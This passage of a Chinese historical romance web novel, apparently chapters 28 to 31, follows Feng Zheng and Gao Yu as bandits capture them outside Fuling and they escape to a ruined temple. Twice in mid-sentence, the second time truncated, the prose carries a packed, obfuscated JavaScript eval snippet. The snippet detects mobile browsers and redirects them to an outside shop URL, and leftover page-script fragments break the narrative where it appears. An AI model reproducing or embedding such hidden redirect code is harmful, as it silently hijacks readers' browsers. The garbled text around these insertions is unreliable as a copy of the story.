两护卫面前，她曾描述他们之间的磊落清白，而今被她亲自否定，高豫细微偏头，惶惑且意外地挑来一眼。 他一手握拳抵在后腰，一手自然垂放身侧，饶是如此，仍然泰然自若的模样，让冯筝忍不住牙痒痒，恨不能惹得他神思不稳，意动神摇。 “三郎君对我慈爱无边，我对郎君，亦是爱戴亲昵，如今芙蓉展了颜，距离和我的花期作配，就差芙蕖献宠——” 两手攀住他肩膀，踮起脚尖，献出亲昵，“你我私相授受，胭脂就是铁证，所以高豫，我们哪里还算磊落清白？” 姑娘齿白如玉，悄声私谈，懵懂迟钝感一扫而光。 她聪慧清醒的笑眼，近乎算得上莽撞精明，高豫睫翳浓重，神色却很淡，始终没转身，反应平平地跟她对视。 他一个字也没听懂，又分明哪个字都弄懂了深意，那只不久前抚过她发丝发带的手，捉过她手腕的手，在后腰处缓慢松拳张开。 而后摁住这箍着他脖颈的姑娘，无甚感情地讲。 “冯筝，好好说话。” 29. 第29章 回顾生平，高豫能把任何事情都处理得尽善尽美，除非晾着它，比理会它更有利于结果。 慈爱无边，爱戴亲昵……勉强算得上清白的亲属感，甫一搭配私相授受，暧昧冲突极致高涨。 高豫没理会这些，一则他不会在情事上栽跟头，懂得克制感情流露，二则很遗憾他耳聪目明，能看透所有虚情假意。 就像现在，即便她话里话外柔情蜜意，端的一副献宠模样，也掩盖不了玩闹的事实。 高豫不会中招，不会毫无防备地踩她陷阱，他丢下一句“好好说话”，就没打算把这件事情收束妥善。 稍后，冯筝果然不闹腾了，然而仅仅只是不闹腾而已，气氛并不比之前愉快。 冯筝入戏有点深，见他回避她的示好，表情幽怨得能滴出水来，差点忘了，自己之所以胡搅蛮缠，本就出于假意逗弄。 客栈提供膳食，再拖延下去就要错过晚饭，边走，高豫边跟她讲道理，她不理，高豫扯了扯大袖，她抱的更牢。 街面陆续亮起灯笼，商幌飘扬，酒旗招摇，当垆的娘子给食客端出酒酿米珠，醉醺醺的风飘出酒肆，冯筝被酒香呛到，抱着他胳膊蹒跚了两步。 “难怪说胡话。你酒量不佳，闻一点酒味就不清醒，等你醒了酒，再来跟我好好谈谈。” 好一出借题发挥。 知道他们并非亲密无间，把关系闹僵了尝不到甜头，冯筝顺坡往下，让出一段距离，扭头掩饰一丝不自在。 “有些道理，敢情是闻酒闻醉了，害得我尽说瞎话，三郎君莫怪我唐突才好。” 高豫以前诸事繁忙，身边打交道的，多半是同窗同僚，跟女子相处多半凭直觉。发觉她的转变，调整好自己，豁达道无碍。 走过红袖招摇的花满楼，路过铁花四溅的锻造铺，月色如练，两人中间遥隔银河，她忽然觉得高豫时远时近。 远的时候，他变成了那逝去的命数里，服皂纱，簪儒冠的太学学士兼司衙重臣高大人。近的时候，他又成了眼前这籍籍无名，被她搅得领襟松散，跟她走在不知名街上扯闲篇，向客栈同归的三郎君高豫。 若没有江南科场案这桩案变，他可能不必去淮州讨债，她也不会向淮阳去，他们两人，也不会有这样朴实的一晚。 冯筝长睫振抬，当她为这恶毒的想法而感到惶恐，把幸灾乐祸的苗头狠狠掐断之时，他就用这忽远忽近的声音，给之后的事情做打算。 “送佛送到西。送你到淮阳后，我会前往当地的观察司办一件要事，之后很长一段时间，或许我们不会再碰面，所以思来想去，还是要趁早讲句公道话。” “你身边的护卫忠实护主，身手利索，性情也稳，这一路上我都看在眼里。于公，他们尽职尽责守你平安，于私，云燕一走，他们为照顾你的情绪，暗递消息找我开导你。” “待我走后，你不必对他们心存芥蒂，令尊慧眼识珠，在选用能辈上，高某还是很佩服的。” 他毫无芥蒂地替旁人说话，冯筝越听越郁闷，顿时能理解，她亲昵他的想法暗暗发酵，根源就在于，护卫守她守得苛刻，物极必反，倒让她更放纵了自己。 附近一带都是酒楼，再往前走半刻钟就到客栈。 酒楼花销大，几个拮据的酒客还未归家，搂着同伴往酒巷里钻，刚刚没影，突然发出一阵惊叫。 一道黑影飘出巷尾，蒙面的贼匪挟制了人，一路往西逃窜，他衣裳未换，俨然就是那在逃案犯。 算算时辰，捕吏应该没走太远，在救人和报官中，高豫选择追回捕吏。 “能一个人回客栈吗？” 他迟疑不定，冯筝还没从撞见疑犯的震惊中回过神来。 一种大有来头的不安填满她心脏，但她还是点了头，理智比直觉先做出反应。 “能。” 扶陵不太平，她毫不耽搁赶回客栈，边跑边回忆起很多细节。 案犯桎梏着的人好像是孙掌柜，从杂货铺到这片酒楼，再往东就是官廨……或许是事情来得太过蹊跷，又或者有什么道理解释不通，她越跑越慢。 不久前制止捕吏的时候，孙掌柜趴在柜面护财的体态，赠还银锭时紧绷的肩线，都在她脑海中短暂停留。 距离回客栈还有半刻钟，晚风把酒香吹散，细微到不着边的思绪却一点点凝实，察觉蹊跷的时候已经迟了。 冯筝按住心头突跳，竟是停下来，随手拉住一个路人。 “帮我报官。” -- 城郊的风咸淡不明，隐约弥漫着一抹血腥味。 在挟制下惊厥过去的孙掌柜，一朝离开桎梏，竟好端端站在一旁，而那挟持他的案犯，已经扯下蒙面，眼神悍利地等待匪首替他出气。 “桐花巷屠户无子，隔壁葛老汉贫苦，用计让屠户抱养他孙子，我趁屠户不留神把崽子偷走。这崽子不哭不闹，而当前，弃养和昧藏孩童都被官府明禁，谅他们都不敢报官。” “天衣无缝的一件事，哪知道中途冒出这么个人来捣乱，还害得豺九被官差拿住。” “闫头，可得替弟兄们好好收拾他。” 为了围猎此人，他们派出手下接应，没少损兵折将。被称作闫头的匪首乌眼漆瞳，挑起眉走近高豫。 “我猜猜，他是怎样弄伤你弟兄的？” 匪首话落，右手按向他肩颈。膝关节被强攻，脊背重重下压，高豫支膝跪地，喉中滚出闷咳，一切都让那案犯双目锃亮。 “就是这样！此人就是这样把豺九的脊骨重伤，害得他被官府擒住，害得我也险些逃不脱，闫头英武，再给他一记厉害的！” “给他点厉害瞧瞧，弄残他一条腿！” “挺到这时候不普通啊，不如拧他咽喉，让他跪地求饶！” 周遭匪徒们附和怂恿，露出暴徒狠色。匪首眼光挑剔地从他躯干上一寸寸刮过，似乎被周围喧嚣干扰到决断，不善的眼神凛然四放，令手下之人双腿打颤。 月色涌过郊野，附近生灵皆难逃法眼，他抬了抬下巴，两个匪徒错身经过，将要直取另一端动静。 冯筝藏在草垛阴影后，眼看他们越来越近，殷红的手指往树桩上犁过。 她及时追赶上踪迹，一路留下标记，做完这些事，理智告诉她，回去搬援兵是最好的选择，不然他们两人都得交代在这里。 忍着眼底腥红转身，她拼命逃匿，试图把贼匪咒骂声甩得很远，但这很难。 方圆百里风声鹤唳，传来高豫的话竟无比清晰，而后追逐的匪徒惊讶止步，很想知道，这惹恼匪首的人会有什么下场。 “——不止，远远不止。你们所说的豺九，在官差接手时动弹不得，哪里是伤了脊骨这样简单。” 高豫撑着重伤的躯体，如回光返照般出言挑衅。余光望到那片裙角越来越远，极其蔚然地笑了笑，然后敛容，添油加醋。 他的眼神因眼眸专注而有了些力量。 “拐带孩童轻则监禁终身，重则绞监候，我那一击比你们有过之而无不及，官府非但不会治我的罪，相反，还答应给我邀功请赏。他余生注定在病榻上度过，好在牢饭管够，够他赎罪的时候吃顿饱饭。” 匪首一步步上前，示意手下递刀，冯筝奔跑在苍茫天地间，枯草随风往一边倒，片刻前，那枯萎的画面不停涌现。 高豫膝弯下满是血迹，他破布娃娃一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027457|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栽倒，半跪在野地，脖颈始终低垂。 他总是很努力在传达一种豁达、坚韧且旺盛的生命力，从未展现过这样脆弱被动的一面，他伤势那么重，真的能撑到增援到来吗？ 哪怕有胜算自救，贼匪凶残至极，他真的不会重伤难愈吗？ 他还有很多事未做，还有很大的官司要打，不能就这么折在这里。 空气中的血腥味越来越淡，随着时间流逝就要被抹除，冯筝脚步震颤，心肝脾肺哪哪都疼。 捕吏围抄杂货铺时，说不好店里真藏了案犯，后来孙掌柜和贼党设计了他，替被捕的豺九报私仇。 若非当初她强出头，非得制止捕吏搜查，他怎么会落到这步田地？ 人总得为自己的轻信和自负付出代价，但这代价，不该就这么转移到高豫身上。 匪首无法形容，看到她去而复返的时候是什么心情。 他正兴味索然地算计，把人拖回去以后，如何让这好不容易才犯在手里的男人尝遍苦头，谁知那看起来柔弱可欺的姑娘，竟然不怕死地摸了回来。 威望接连被挑衅，他阴翳的眼睛染上狠戾，抬手下令间，冯筝纹丝不动。 “你忍一忍，捕吏就快到了……高豫。” 听到这话，匪徒们非但没萌生退意，反倒亢奋起来，叫嚣着把这小娘子拖回去，让他们做一对亡命鸳鸯。 无数匪徒欺近她，转眼间，高豫已经先发制人。 他如困兽般濒死暴起，夺剑挥退身后的匪徒，那起先撺掇匪首出气的虎三怒起。虎三闯进前线，挥拳打落他长剑，高豫抬肘迎击，劈手回握住落空的剑柄，而后拦身在她跟前，骤然划出剑刃—— 耳边风声极静，额侧绒发擦出，冯筝微微仰颈，男人背对着她，在寒月冷照下形销骨立。 直逼面门的剑意，迫使匪徒撤出一段安全距离。空气萧索腥锈，有什么讯息在无声传递，高豫毫不恋战，拉住她迅速就撤，匪贼深处，有人开始叫糟。 “糟糕，他们要跑！” 匪首却似不甚在意，几经观摩，已经揣度出青年的价值。 “这位郎君文质彬彬，瞧着是个有才情的，捆了送到销金窟写帐中诗，哪里不比稚童还有美姬值钱？” 郊野起哄声高涨，匪群传来戏谑，恶意叹出遗憾。 “对，这手拿剑多可惜，不如去写香帐诗！” “闫头慧眼，压榨他的才学，去向富绅讨赏钱！” “富绅多吝啬，哪有贵妇慷慨，不如卖去暗娼门里，给有钱的孀妇写香帐诗，换来咱们腰缠万贯！” 他们蜂拥而上，她曾置他于险境而不顾，如今，他们在围困中腹背受敌。 “小娘子，他不能做你的情郎了。” “不能做你一个人的情郎了……” 高豫眼底燃怒，战况紧接着陷入焦灼，眼看青年负隅顽抗，哪怕剑身卷刃，也依然无法近身的匪徒们，纷纷望向闫头支招。 闫头抬手，宽大箭袖里亮出步弩，锋芒直击受困者膝弯。 涌进的火把远远隔开他们两人，她疲于应付逼近的贼匪，蓦然回首，高豫随骨裂声倒下，却手撑胯骨起身，勉力支起身躯。 一股劲重重劈落，他支撑的手臂终于垂顿。 寂静苦夜，寒乌悲鸣。 匪首强摁在高豫肩上的手撤离，附来满是奚落的眼神，而后故技重施，抬起箭袖朝她对准。 冯筝控制不住地怒火中烧，当初决定走回头路，不是她无能逞强，之前因为心存侥幸拖延了先机，这时放出威逼话，冷箭却先于躲闪前抵达。 冯筝吃痛栽下，彻底失焦前，一种前所未有的恨意填满了胸腔。 30. 第30章 一阵燃亮刺激，勉强适应了光线，冯筝在后颈的钝痛中醒来。 “放倒你那一招，用的是钝箭。”确认她完全清醒，孙崇福将火折子拿偏了些，火芯轻晃，在他眼睫末梢投下一片阴影。 “扶陵曾是黑商地盘，当地恶吏食古不化，一心逢迎税政，滥涨苛税。我经营的小本生意，在官商双重的打压下难以为继，多年以前，靠闫头的庇佑才维持了生计。官府中人仇视的贼匪，缁衣妇孺痛恨的贼贩，对我却有再造之恩。” “这些年，他在我的铺子里成立哨点，传递不少私贩消息，多少卖我点情面，我求闫头恩典，他答应了不伤你发肤。” “我就是来问问你，小主顾，官差面前，为什么会替我说话？” 孙崇福嗓音醇厚，一旦沉下情绪，少了些贪婪胆怯，多了一些麻木不仁。 这里约摸是一间库房，角落堆积柴垛，高窗紧闭，月光投照处尘埃落落，冯筝看似安静端坐着并无不妥，但敞袖下，双手已被捆在身前。 她安静祥和地盯着眼前人，没有半点挣扎，如此稳定的状态，令冒险请了一刻钟便话的孙崇福，直觉这一趟叙话没有来错。 冯筝默不作声，孙崇福便替她回答。 “仅仅因为惠顾过我的铺子？” 他年轻时便出来闯荡，许诺闯出名堂后就衣锦还乡，摸爬滚打多年，受尽官商欺压，看遍世情炎凉，很久没遇到过纯粹的善意。 他似乎已经将这个答案敲定，自认为识破了她当时的想法。然而正当他为这过于轻率的善意动容，为害她落难而感到愧意的时候，对面有了开口的动静。 没有预想中的剑拔弩张，冯筝既无嗤讽也无怨怒，她冷漠无视了他的疑问，直截了当地问。 “他当时藏在哪里？” 握着火源的手腕微动，孙崇福知道她问的是虎三，倒没遮掩。 “杂货铺的柜面下。我拜闫头麾下，虎三走投无路，知道我会给他一个藏身之处。” 不远处的梁柱后，高豫昏醒难辨，外面的匪徒远近不明，困在这样一个陌生的地方，她的冷静很不真实。 对他重伤致残的担忧越来越强烈，每每唤回胸中郁怒，都让她恨不能给孙掌柜掌嘴。 偏偏这黑心肝的商贩还要趟雷，说着让她委曲求全的话。 “你那同伴得罪闫头，害得豺九被捕，被他们绑来雪恨雪耻也是自找的，姑娘清白无辜，因为他抵命多不值得。我认识一些人，以防你也被卖进娼门，到时候你出示信符，勉强可以明哲保身。” 正要施舍所谓信物，偏她不领情，微压眼眸，含笑给他的恩惠添堵，“你错了，提醒他擒住案犯的，根本就是我啊。” 这话挑衅得露骨，令不知情的孙崇福意外了一瞬，她都这样孤立无援了，竟还有胆量跟他摆谱。 他暗嗤出声，耻笑她不识好歹，“姑娘不必这样嫉恶如仇地看着我，纵然我有不义，你就没有错处了吗？” “要知道，当初若不是你在捕吏面前自曝，说出你跟那郎君在此案上的渊源，导致捕吏认下他的贡献，让隐匿的虎三听到准音，他又如何会将他骗到这里，图谋一个伺机报复？” 冯筝沉默了，亲耳听到旁人指责她招致祸端，不会比她自我反省的痛苦更少。 良心生出痛苦知觉，低喝声突然响起。 “冯筝，错不在你。” 高豫被蒙眼缚在柱子后，不知何时转醒，嗓音低沉，咬词清晰，警醒势如洪钟，冯筝眼瞳当即转明。 想到险些陷入自证的陷阱，她紧盯这名黑商，紧随高豫的话完成了自洽，“我能有什么错？” “我每每站出来发声，每回都是在惩恶扬善。我提醒他制止案犯在先，知道嫌犯的逃跑动向，藉此说出推断，替你解围在后，甚至后来跟三郎君分头走，也是我见恶贼挟持了你，容他追回捕吏，好救你性命。” “前前后后，错只错在我轻信失察，胡乱生出慈悲心，强出头放跑了案犯，以后定要长记性。至于你们，你伙同匪贼行恶，知道他们私贩孩童却不以为耻，你们这些枉法之徒，以后通通不得善终。” 说完怒目瞭来，握住什么东西就砸过来泄愤，孙崇福慌忙躲避，惊慌跌撞的姿势下，看清是一枚胭脂摔在跟前。 胭脂摔得四分五裂，瓷制的边角碎得狼藉，失了态的孙崇福，只想挽尊似的甩袖离开，走到半途嗅到一点蹊跷，这就回头多看了一眼。 这姑娘不知何时起了身，跪在碎物跟前，袖中探出的手微微颤抖，却因被合腕捆着，够不到哪怕一片一瓦。 对着满地狼藉，冯筝懊悔得快要落泪，平素不算很心疼银钱的她，此刻竟也情真意切。 孙崇福这就没了疑心，生怕被讹上，扭头走得更快了些，本能推脱责任。 “你自己摔坏的，这可赖不得我。” 脚步声消失很远，冯筝停歇了片刻，满目惋惜收起，取而代之的是孑然清醒的凉薄。 她是不想善罢甘休没错，但这得建立在他们都脱身的前提下才行。 扭动手腕捡起一片碎物，借锋利的边缘割断绳索，当她回身打算施救，撞见的却是一番从未想过的场景。 高豫双手被缚在梁柱后，因卯力挣出麻绳，腕骨磨出血痕。被布巾蒙住的眼睛趋光仰头，喉结狰狞滚动，这样屈辱就缚的姿势，成全了一副残忍又贞烈的场景，此时此刻，却怪异地令她短暂失了声。 男人猜到她脱困，却猜不到她为何迟疑，察觉她没有动静，若有所感地有些焦虑。 高豫微含下颌，难办地诉出苦衷。 “冯筝，帮帮我。” 那捆缠束他腕骨的绳索，很难想象怎样被他挣脱了大半，唯有一股将断未断，深深勒进皮肉，谅他再努力也无法毕其功于一役。 本以为身处险境而失明的人，本能会将视物作为第一要事，他却刻意忽略眼前遮蔽，但求她对付束手的绳索。 冯筝不再耽搁，这就遵照意指，绕到他身后，专心对付那股顽绳。 她用掌腹压实绳索一端，对着挑开的空隙，小心调整瓷刃方向。掌腹下他脉搏突跳，因挣扎渗出血，她收住动作，好险避过一次误伤，冯筝将他曲起的指节按下去。 “你别动了。” 耳边一瞬静息，他果然没再动弹，直到绳索窸窣落下，她放得极轻的呼吸才终于喘出，没等撤出半步，下一刻便被人扼腕。 似唯恐慢她一步，高豫背对着她看不清神情，“你稍事休息，容我调整一下。” 在两人能够如常对话的始终，他对自身伤情只字未提，在他说完这句话后，她尚且不明白高豫偏头避开她的用意。 高窗前，男人摘下眼前遮蔽，缚过口齿扎在脑后，当他背靠梁柱坐下，手指一寸寸犁过膝弯，冯筝忽然明白了，他要做的是件什么事。 男子行走在外，总归有些难言的自尊，高蘅的原话她已经记不清，但她现在体察得到。 她沉默别开眼，越过之前被孙崇福遗落在地的火折子时，轻踮一脚踩灭了火源，刹那间，黑暗如潮涌来，又被窗前泻月逼退，无声而宽和地护住他颜面。 满地银辉清除了视障，高豫探过穴位，扶至膝关节处。 冯筝从来没想过，文臣出身的武司部将，对待自己会有多极端。 哪怕在贼匪围猎中受了重伤，他也从未展现过意志消沉，而此刻，他用那双刚刚自由的手，收紧裤腿强行复位。 关节复位的喀擦声清晰响起，冯筝受通感所累，手臂浮起黍米点点，极度不忍地扑回他跟前。 布条已被咬断，高豫眉弓蹙起，汗水打湿他两侧鬓角，这个狼狈得自顾不暇的男人，因她默契避开又毁约出现而短暂失了措，握住她的肩膀，蓄力分开距离。 “等等冯筝，再等等，就快好了，别回头。” 声腔喑哑低沉，那只握住她肩膀的手微颤，却又强忍痛楚，旋即移到下一关节，一招一式速度很快，令她忍不住扭头闭眼。 当初被匪徒围困时都没落泪，此刻对着满地月辉，泪意竟如跳珠溅雪。凄厉的痛呼声并没有传来，有只手拢住了耳廓，轻轻扭回她，高豫眉眼酸疲，声音沉稳不变。 “睁眼看看我吧，冯筝。微恙小症而已，稍稍复健两下，又怎么会痛呢？” 不知自何时起，他狠决凄苦的眼神已经重新变得柔软。 冯筝抬袖按了按眼眶，高豫站起来走动。看到他恢复行走，她一时不知道，到底该指责他冒进自医，还是该为这场遭遇中，没有谁成为谁的累赘而感到幸运。 这里是匪徒盘踞的腹地，很难想象荒郊野岭中，库房外直接是一条露天甬道。在这条没有岔道的逃途中，没有投机取巧的迂回智取，有的只是无从商量的正面硬刚。 这群贼匪以散寇聚成，兴兵打仗或许不成气候，围猎个别人等却绰绰有余。 两人身陷其中，无援的劣势不断放大，她试图照搬他的招式自保，每次都被他抢先解决掉险情，让她的现学现卖毫无用武之地。 月光和剑光层层叠迫，战事无尽拉锯，以至于到了后来，任何坎坷都能让她绝望。 就比如眼前，匪徒让出又一圈匪徒。 高豫拳抵后腰，一手持剑握于胸前，剑是抢来的，他也很擅长调整好自己，以一个不知第多少回蓄势待发的姿态迎敌。 匪首从下属拥护中走出，看到两方都没讨到好的战况，凭空指了指高豫覆满伤痕的手。 “郎君这双写诗的手，到底还是莽撞了些。” 想到之前匪首险些让高豫毙命，冯筝脸色更加惨淡，但她提防着暗袖箭弩，先他一步挑明利害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我觉得，你对我是有些信任在的。” “仗着这一点信任，我想请你记住件事，只要你毫无保留地相信我，你我之间，便没有人会交代在这里。” “包括我自己。” 冯筝便是此刻逃离。 她头也不回地逃出去，决绝又狠心，闫头不禁错愕了下，对真心错付的某人流露出怜悯。随后展手持刀，眼盯那位棘手的麻烦，朝着在悍匪围攻中负隅顽抗的人一步步迫近。 …… 冯筝跑过葱茏野径，在夜幕下终于迷失了方向。 哪怕循着她的来时路，有胭脂留下的标记指引，偶尔还是错走了歪路。 空气中的腥锈扑过面门，不知从何时起，缠进鼻息无法摆脱，她断断续续跑着又慢下来走动，没停下来全靠意念。 这样跋涉了很久，她面色发白又无动于衷，仿佛不去想就可以当没看见过，在她转身离开的余光中，那些生杀予夺的零星片段。 脚下重逾千斤，她试图慢下来，但架不住任何风吹草动都能惊扰到她。 一点踩断树枝的轻响响起，她瞥了眼沿途一览无遗的枯枝败叶，眼中闪过惊慌，迅速逃跑。 “错了，走左手边。” 阻拦的声音逼近，冯筝飞快反击，横手劈挡对方，直到快劈中要害时才遭到格挡。 高豫攥住她手指，险险停在喉结寸厘处。 “现在受死有一点冤。” 来人伤情难辨，自报姓名前，先来了一段含冤莫白。 几经鏖战，他衣裳破败得不像样子，好在伤势不重，唯有眉骨峰起处，被生硬地揉进一道血痕。 冯筝认出他，僵硬的腿顷刻间软了下来，然后很坚强地站稳了，冯筝笑了笑，自顾自往前带路，明明百般庆幸，仍然强撑着平静。 “看来我没猜错，三郎君果然能跟上我。” 从来不多话的冯筝，一路在前面絮絮叨叨，仿佛说得多了，那些令她后怕的心结就能一点点消融，而事实也确实如此，话毕一经停顿，总会得到后面的回应。 她一刻也不停歇，直到耳畔一阵林鸟嘶鸣，冯筝顿足回身。 高豫立在原地，微风拂起他一缕鬓发，他警觉的眼睛瞳圈骤紧，刹那间，浩荡追匪亮弩远峰，而他踏过满地草野，扑身将她压进了葱茏。 巨大的冲撞力在他护住她脊背的动作下得到缓冲，不远处，无数寒光指令待发。 月伏林阵，冯筝倒地前，箭矢奔星般飒沓坠下。 某种绝望的窒息中，他们默契地都没有说话，高豫伸出手，很是缓慢的，把她缠在鬓间的发带捋顺到后颈。 这是一个安抚的动作，随他一寸寸捋过，颈间激起细密战栗。可当她终于预感不妙而做出反抗时，眼前却骤然一黑，那气息重重擦过面门，而后，埋向颈侧不再有声息。 覆在她眼前的手垂落。 郊野满地，箭矢雾列。 31. 第31章 宵禁时分，扶陵郡衙的科房里，刚刚进行一场暖谈。 审案要员们坐在一起，准备熬个通宵把案卷核验完，好赶上隔天递奏牒的第一批驿差，请府台示下，尽早获批封山权剿匪。 想法很周全，现实则是另一回事了。在隔壁淮州的治府已经在烧兽金炭的时候，他们还在用最劣等的灶炭取暖。 围谈中时不时传来两声闷咳，偏那宋主簿怕冷得很，指使皂役继续添炭，和某位大人产生了争执。 王典史执卷拍了拍书案，不耐烦制止，“敢情有人来这验卷，是滥竽充数图舒服的，还没入冬呢，身子不阳刚就回宅邸捂被窝去，衙房签奏的印鉴签里，不差一个病患缺席。” 说完向郡守赵伯骕提正事，“衙房粗验过案卷，眼下再验一遍，我还是坚持原来的说法。虽然豺九已经招供，拐带案证据确凿，但另一条线索，也不可排除遗弃的嫌疑。” 赵伯骕想了想，想起翻看笔录时，发现的那则矜贫恤弱的条例，一旁宋主簿闷声歇菜，赵伯骕多看了他两眼，递过卷宗，宋主簿伸手来接，不太懂意味。 “灶炭要添，窗也是要开的，拐带罪要定，遗弃案也要追。咱们郡条件简陋，诸位将就一下，年底我就去申请炭例钱，深宵苦长，咱们还是都振作点，把这桩案子妥善了结。” 典史主簿等人都听到了合心意的话，围谈逐渐进入状态。他们如此重视此案，乃是因为不久前，调阅卷宗的人临时梳理豺九履历，发现他以及潜逃者虎三，和一桩尚未结清的旧案有牵连，指向南郊荒山闹过的匪祸。 如今疏理滞狱有望，他们纷纷振作起来，烛焰凝然间，外面衙役禀报，刚刚又接到了两桩报案。 赵郡守连忙去看，先是两个护卫来报失踪，然后是一名挎着竹篮的妇人，张嘴说要报案，却说不出个所以然来。 她递出一块碎裙布，“是个年轻的姑娘，路上拦住我，就求我来报官。” 两边报案人一碰面，元逢认出裙布，脸色更难看了。 很明显，当街拦人报案的姑娘，和护卫们报失踪的人一致。 想到白日里，浅浅打过打交道的年轻男女，赵伯骕脸色暗沉。毕竟前脚才走出官府的举证人，后脚就疑似遭遇不测，若此事乃豺九同伙所为，那么既是他们保护证人失职，也是歹徒在挑衅官府权威。 围谈的大人们出了科房，错落站在官廨前，火把照出他们静默的脸，没人说话，却都已明白怎么回事。 两护卫焦虑拧刀，赵伯骕捧过碎裙布翻看，对布上一抹胭脂红思考半晌，忽然问巡吏，近几个时辰有无雨水。 巡吏回答没有雨露，微风干燥。哪怕来不及申请封山令，郡守也决定把搜捕提前，吩咐燃松明火把，点兵向南郊疾进。 冯筝这些天出门，穿的都是烟罗纱。 烟罗纱用料轻软，常常用作罩裙，底下才是真正的裙布。 撕碎过一遍的裙布，扯出毛边后，再撕开就更轻松了。 庙宇昏暗，她已经记不清，自己是怎样把高出她一头的男人扛到这里，只知道用碎裙布包裹他的肩窝，让那片刻前中箭的伤口止住血，做完这些，就已经让她很疲惫了。 “高豫，醒醒好吗。” 高豫素面苍白，眼底淡淡鸦青，他手指犁过眼前阴翳，一点一点看清来人。 高豫醒得费劲，以致于短暂没深想，她的语调哪里反常，他带着莫名的心情去看冯筝，就看到她狼狈憔悴的样子。 她用烟罗纱把底裙遮挡完整，但碎布条裹在高豫身上，遮掩反倒破绽百出。她都这样疲惫了，还记得和他带笑寒暄。 “怎么样，还有哪里疼吗？” 或许是冯筝给出的理由足够让匪首忌惮，又或者何处当真传来了疑似兵至的风声，放出一通乱箭后，远峰的贼匪们收手就撤，以至于他们仍能逃出生天。 破庙石窗镂空，迎着破碎月光，高豫坐起来，俯眼看她。 “不疼。” 听见高豫说否，她的表情却一瞬间古怪起来。她至今都记得，摸到郊野时，看到处于闹匪围困中的高豫，膝下枯草血迹斑斑，她当然会以为他受了很重的伤，身上必定伤痕累累。 他不喊疼，只因他能忍常人所不能，而他能攻出围猎圈，及时追上她，那是属于观察司重臣的武力功底。 然而事情就是这么可笑，若不是趁他中箭失去意识，替他处理伤情时，发现他身上除了箭伤，以及眉峰那记红色的伤痕，身上并无其他外伤的话，她或许还在为更早以前，枯草地上，那片更有可能来自匪徒的血而难过。 想到此前满腔怨恨，好像有点可笑多余，冯筝不想再直视他，粗理裙摆要走。 高豫便是此刻察觉到，反常在哪里。 她寻常地把他喊醒，语调平静过头，仿佛很清楚他没有出事，不会出事。 附近危险暂除，但两人之间，哪怕一点劫后余生的喜悦也没有。高豫叫住她，冯筝回头撇来一眼，漆玉般的眼睛凝视他冽冽当风的衣袖，而后迂回掠过眉目。 她一点也不斯文地看他，夜风吹过，扰动她素洁歪颓的发带，高豫忽然混沌地觉得，他为人其实没什么感情，过多的是凭借本能，对身边的人或事物置予理睬。 就如同冯筝关心他疼痛有无，否认是任何场合，任何关系中都受用的回应。 他或许无法讲清，两人之间出了什么问题，但此刻，他在这破败庙宇里说了一句，让冯筝一时觉得有些人情味的话。 “悍匪阴险难敌，今夜确实伤我元气。” “诸地观察使办案，打的都是文书官司，核准逮捕的手令一出，官吏注重体面，逞凶拒捕的不多，大部分是乖乖就捕，所以犯不着大肆动武。我说这些，并非为我武艺不精找的说辞，只是有必要澄清，以我旧时身份，骁杀情形少有，这群悍匪抵命相搏，对付起来很是吃力。” 回味起膝关节的隐痛，高豫默了默，幽抬视线确认道。 “所以，冯筝。” “今夜确实伤我元气。” 冯筝被这突如其来的坦诚惹得连连皱眉，当然没忘记，他把膝盖骨强行复位，未经细致诊治，拼着内伤又战一场，早就该是强弩之末。 流箭有没有毒还不知道，肩伤已经很严重了，再想想更多的可能都是内伤，冯筝心肠一软，为那点过度担忧的自嘲而感到草率。 高豫拉近距离，“你是如何说服匪首，答应放你走的？” 她当然不会告诉他，为了沿途留下标记，把二十两的胭脂全给树杈添了妆。 “他有他的乾坤袖，我有我的智多囊。” 冯筝不愿详谈，高豫真就没再追问。 考虑到山中险情还不明朗，他们在这座小庙落了脚，打算天一亮就下山找医馆。 小庙碑皆煅裂，碑文碑像斑驳模糊，貌似多年以前经过焚烧。高豫修学太学院时，看过一些访古寻碑的书籍，知道这种毁于山火，却不被修缮的破庙意味着什么。 庙宇废弃，意味着大多会被匪类盘踞，好在经过检查，附近并无人迹。高豫燃起烛台，重新给自己验伤前，转了一圈，清理出一张条凳净了净灰。 条凳取自香案前，放过一些贡品，冯筝半晌没敢坐，高豫看出她的迟疑，直起身，望向潦草神像径自说起话来。 “此庙毁于山火，荒废这么久，早就不受香火敬献，坐吧，庙灵已空，没有再值得忌讳的事情。” 高豫不信奉神佛，却无疑守礼守节，他都这样说了，冯筝也就不那么讲究了，拉来条凳歇息。 他要重新给自己验伤，就势必会宽衣解带，冯筝翻出一把有些年头的铫子去找水井，避嫌的意思足够明显。 她拥衣走在庙外，夜风拂动她鬓发，高豫说过，破庙附近若有水井，方圆十丈以内应能寻到，还没有的话就不要再走了。 今夜发生很多事，他们那一程，本来是要回客栈用膳的。 想起错过晚饭，她便饥肠辘辘，脚步挪得慢，脑袋却很活跃，一点动静就觉得精神紧张。 结果到头来，她还是没有走完十丈，抱着夜寒衣薄的借口半途折返，回来就见到，高豫已经半松襟袖。 他背对着门衣襟半敞，衣裳破成褴褛，却也松弛地挂在臂弯，他将烛火挪近，亲近那簇光时，带点不一样的温霭可亲。 脉脉蜜色经风涌动，他就这样自诊伤势，一路验过肩胸的伤，无所谓同时暴露出肩背。 难以想象如他这样清拔的人，背肌竟然如此挺阔。去年刑伤伤他入骨，疤痕纵横交错，虽然丑陋，却也有种靡丽销魂，蜜油似的光照得他肌肤滑腻如鱼，只要一手按在那肩头，一路滑到腰窝，就会…… 就会怎么样不知道，高豫警觉地转过了头，冯筝握紧铫子，尽可能把闲篇扯得不那么随意。 “宵禁不禁诊，我来劝劝你。” 这就是提醒他赶紧就医了。 